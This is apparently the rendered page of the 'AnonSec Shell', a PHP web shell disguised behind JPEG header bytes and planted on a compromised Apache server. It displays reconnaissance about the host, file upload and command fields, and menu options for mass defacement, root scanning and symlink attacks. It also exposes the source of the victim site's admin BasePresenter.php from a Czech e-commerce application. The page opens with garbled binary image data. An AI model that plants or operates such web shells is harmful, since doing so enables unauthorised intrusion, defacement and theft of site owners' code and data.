JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 31.31.79.131  /  Your IP : 172.18.0.1   [ Reverse IP ]
Web Server : Apache/2.4.38 (Debian)
System : Linux a1822d00732a 4.15.0-39-generic #42-Ubuntu SMP Tue Oct 23 15:48:01 UTC 2018 x86_64
User : www-data ( 33)
PHP Version : 7.1.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/app/adminModule/presenters/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/app/adminModule/presenters/BasePresenter.php
<?php

namespace App\adminModule\Presenters;

use App\frontModule\Presenters\DemandPresenter;
use Promoteus\Permission;
use Promoteus\PermissionException;
use Promoteus\PresenterAdministratorRepository;
use Promoteus\PresentersRepository;
use Tracy\Debugger;
use Promoteus\ClientIpAddressRepository;

/**
 * Base presenter for all application presenters.
 *
 *
 */
abstract class BasePresenter extends \App\Presenters\BasePresenter
{
    /**@var permission */
    private $permission;

    public $gridControlFactory = null;

    /**@var PresenterAdministratorRepository  @inject*/
    private $presenterAdministratorRepository;

    /**@var PresentersRepository */
    public $presentersRepository;

    /** @var ClientIpAddressRepository @inject */
    public $clientIpAddressRepository;

    //TODO: zaznam do DB se prida automaticky, ale smazat ho je nutne rucne
    private $mainMenu = [
        'Homepage' => 'Domů',
        'Administrator' => 'Zaměstnanci',
        'Client' => [
            'title' => 'Správa klientů',
            'submenu' => [
                'Account' => 'Firmy',
                'Client' => 'Klienti',
                'UserGroup' => 'Zákaznické skupiny',
                'CompanyType' => 'Typy firem',
                'CurrentSupplier' => 'Dodavatele',
            ]
        ],
        'Obsah' => [
            'title' => 'Obsah',
            'submenu' => [
                'Page' => 'Stránky',
                'Banner' => 'Bannery',
                'Breaknews' => 'Break news',
                'Topic' => 'Témata',
                'Post' => 'Novinky',
                'Pricelists' => 'Vygenerované ceníky',
                'Job' => 'Nabídky práce',
            ]
        ],
        'Produkty' => [
            'title' => 'Produkty',
            'submenu' => [
                'Product' => 'Importy',
                'ProductList' => 'Přehled',
                'ProductAltusList' => 'Přehled skladovek',
                'Feed' => 'Feed - skupiny'
            ]
        ],
        'ProductPropeties' => [
            'title' => 'Vlastnosti produktů',
            'submenu' => [
                'Category' => 'Kategorie',
                'ProductAltus' => 'Skladové produkty',
                'ProductColor' => 'Barvy',
                'ProductCapacity' => 'Kapacity',
                'ProductMaterial' => 'Materiály',
                'ProductMinOrder' => 'Minimální objednávka',
                'ProductPrint' => 'Branding a služby',
                'ProductTerm' => 'Termíny',
                'ProductManufacturer' => 'Výrobci',
                'ProductCardboard' => 'Kartony',
                'ProductPrice' => 'Ceny',
                'ProductPriceTime' => 'Platnosti cen',
                'ProductShoptra' => 'Nákupní doprava',
                'ProductCertification' => 'Certifikace',
                'ProductHs' => 'HS kódy',
                'ChipsetGroup' => 'Chipset skupiny',
                'ProductDocument' => 'Dokumenty',
            ]
        ],
		'Bonus' => [
			'title' => 'Bonus program',
			'submenu' => [
				'BonusItems' => 'Bonusové produkty',
				'BonusCarriers' => 'Bonusová doprava',
			]
		],
        'Ceníky' => [
            'title' => 'Cenotvorba',
            'submenu' => [
                'PriceProfile' => 'Cenové profily',
                'Osa' => 'Osa poplatky',
                'Courses' => 'Kurzy',
                'PriceGenerator' => 'Generátor cen',
                'PriceCardboardGenerator' => 'Generátor krabic'
            ]
        ],
        'Newsletter' => [
            'title' => 'Newslettery',
            'submenu' => [
                'Newsletter' => 'Newslettery',
                'NewsletterGroup' => 'Newsletterové skupiny',
            ]
        ],
        'Transport' => 'Dopravci',
        'Options' => [
            'title' => 'Nastavení',
            'submenu' => [
                'ModuleStatus' => 'Stav modulů',
                'Permissions' => 'Zaměstnanci práva',
                'Translators' => 'Překlady URL adres',
            ]
        ]
    ];

    /**
     * @throws \Nette\Application\AbortException
     */
    protected function startup()
    {
        parent::startup();
        $httpRequest = $this->getHttpRequest();
        $ip = $httpRequest->getRemoteAddress();
        $this->template->clientsSameAddrs = $this->clientIpAddressRepository->storedClientIds($ip);
        $presenterName = ltrim($this->getPresenter()->getName(), 'admin:');
        $this->permission = $this->context->getService('permission');
        $this->presentersRepository = $this->context->getService('presentersRepository');
        $this->presenterAdministratorRepository = $this->context->getService('presenterAdministratorRepository');
        if ($presenterName === 'Sign') {
            return;
        }
        //$this->presentersRepository->createIfNotExist($presenterName, $presenterName);
        try {
            $permission = $this->permission->isAllowedUser($presenterName, Permission::VIEW);
        } catch (PermissionException $e) {
            $permission = false;
        }

        if ($presenterName !== 'Homepage' && !$permission) {
            $this->redirect('Homepage:', ['backlink' => $this->storeRequest()]);
        }

        try {
            $this->template->mainMenu = $this->getMenu();
        } catch (PermissionException $e) {
            $this->template->mainMenu = [];
        }
        $this->template->permission = $this->permission;

        $this->template->user_id = $this->getUser()->getIdentity()->data['administrator']['id'];
        $this->template->user_email = $this->getUser()->getIdentity()->data['administrator']['username'];
    }

    /**
     */
    public function beforeRender()
    {
        parent::beforeRender();
        // Get all flash messages and put them into array
        $messages = [];
        // Get all flash messages & put them into output array
        foreach ($this->getTemplate()->flashes as $flash) {
            $messages[] = array(
                'type' => $flash->type,
                'text' => $flash->message
            );
        }

        if ($this->isAjax()) {
            $this->payload->messages = $messages;
        }

    }


    /**
     * @return string
     */
    protected function localizator()
    {
        $p = $this->presenter->name;
        $a = $this->presenter->action;
        if ($a != 'default') {
            $location = $p . ":" . $a;
        } else {
            $location = $p;
        }
        return $location;
    }

    /**
     * @throws \Nette\Application\AbortException
     */
    public function actionCleanCache()
    {
        $this->delFolder(APP_DIR . '/../temp/cache');
        $this->flashMessage('Cache byly smazány!');
        $this->redirect('Homepage:');
    }

    /**
     * recursive delete folder
     * @param $dir
     * @return bool
     */
    private function delFolder($dir)
    {
        $files = array_diff(scandir($dir), array('.', '..'));
        foreach ($files as $file) {
            (is_dir("$dir/$file")) ? $this->delFolder("$dir/$file") : unlink("$dir/$file");
        }
        return rmdir($dir);
    }

    /**
     * @return array
     * @throws \Promoteus\PermissionException
     */
    public function getMenu(): array
    {
        return $this->arrayRecursiveDiff($this->mainMenu);
    }

    /**
     * @param array $aArray
     * @return array
     * @throws \Promoteus\PermissionException
     */
    private function arrayRecursiveDiff(array $aArray): array
    {
        $aReturn = [];//$this->cache->load('menu');
        foreach ($aArray as $mKey => $mValue) {
            if (is_array($mValue)) {
                $sub = $this->arrayRecursiveDiff($mValue['submenu']);
                if (count($sub) === 0)
                    continue;
                $aReturn[$mKey] = [
                    'title' => $mValue['title'],
                    'submenu' => $sub,
                ];
            } else {
                $isNew = $this->presentersRepository->createIfNotExist($mKey, $mValue);

                if (!$isNew) {
                    //$this->presenterAdministratorRepository->setUsers($isNew->id);
                    if ($this->permission->isAllowedUser($mKey, Permission::VIEW)) {
                        $aReturn[$mKey] = $mValue;
                    }
                }
            }
        }
        return $aReturn;
    }

    /*---------------------Grids--------------------------*/
    protected function createComponentGrid()
    {
        return $this->gridControlFactory->create();
    }


    public function handleGridEdit()
    {
        $this->template->modalMode = 'edit';
        $this->handleModal("grid_form");
    }

    public function handleGridAdd($item)
    {
        $this->template->modalMode = 'add';
        $this->handleModal("grid_form");
    }

    public function handleGridClone()
    {
        $this->template->modalMode = 'clone';
        $this->handleModal("grid_form_clone");
    }
    /*---------------------/Grids--------------------------*/
}

Anon7 - 2022
AnonSec Team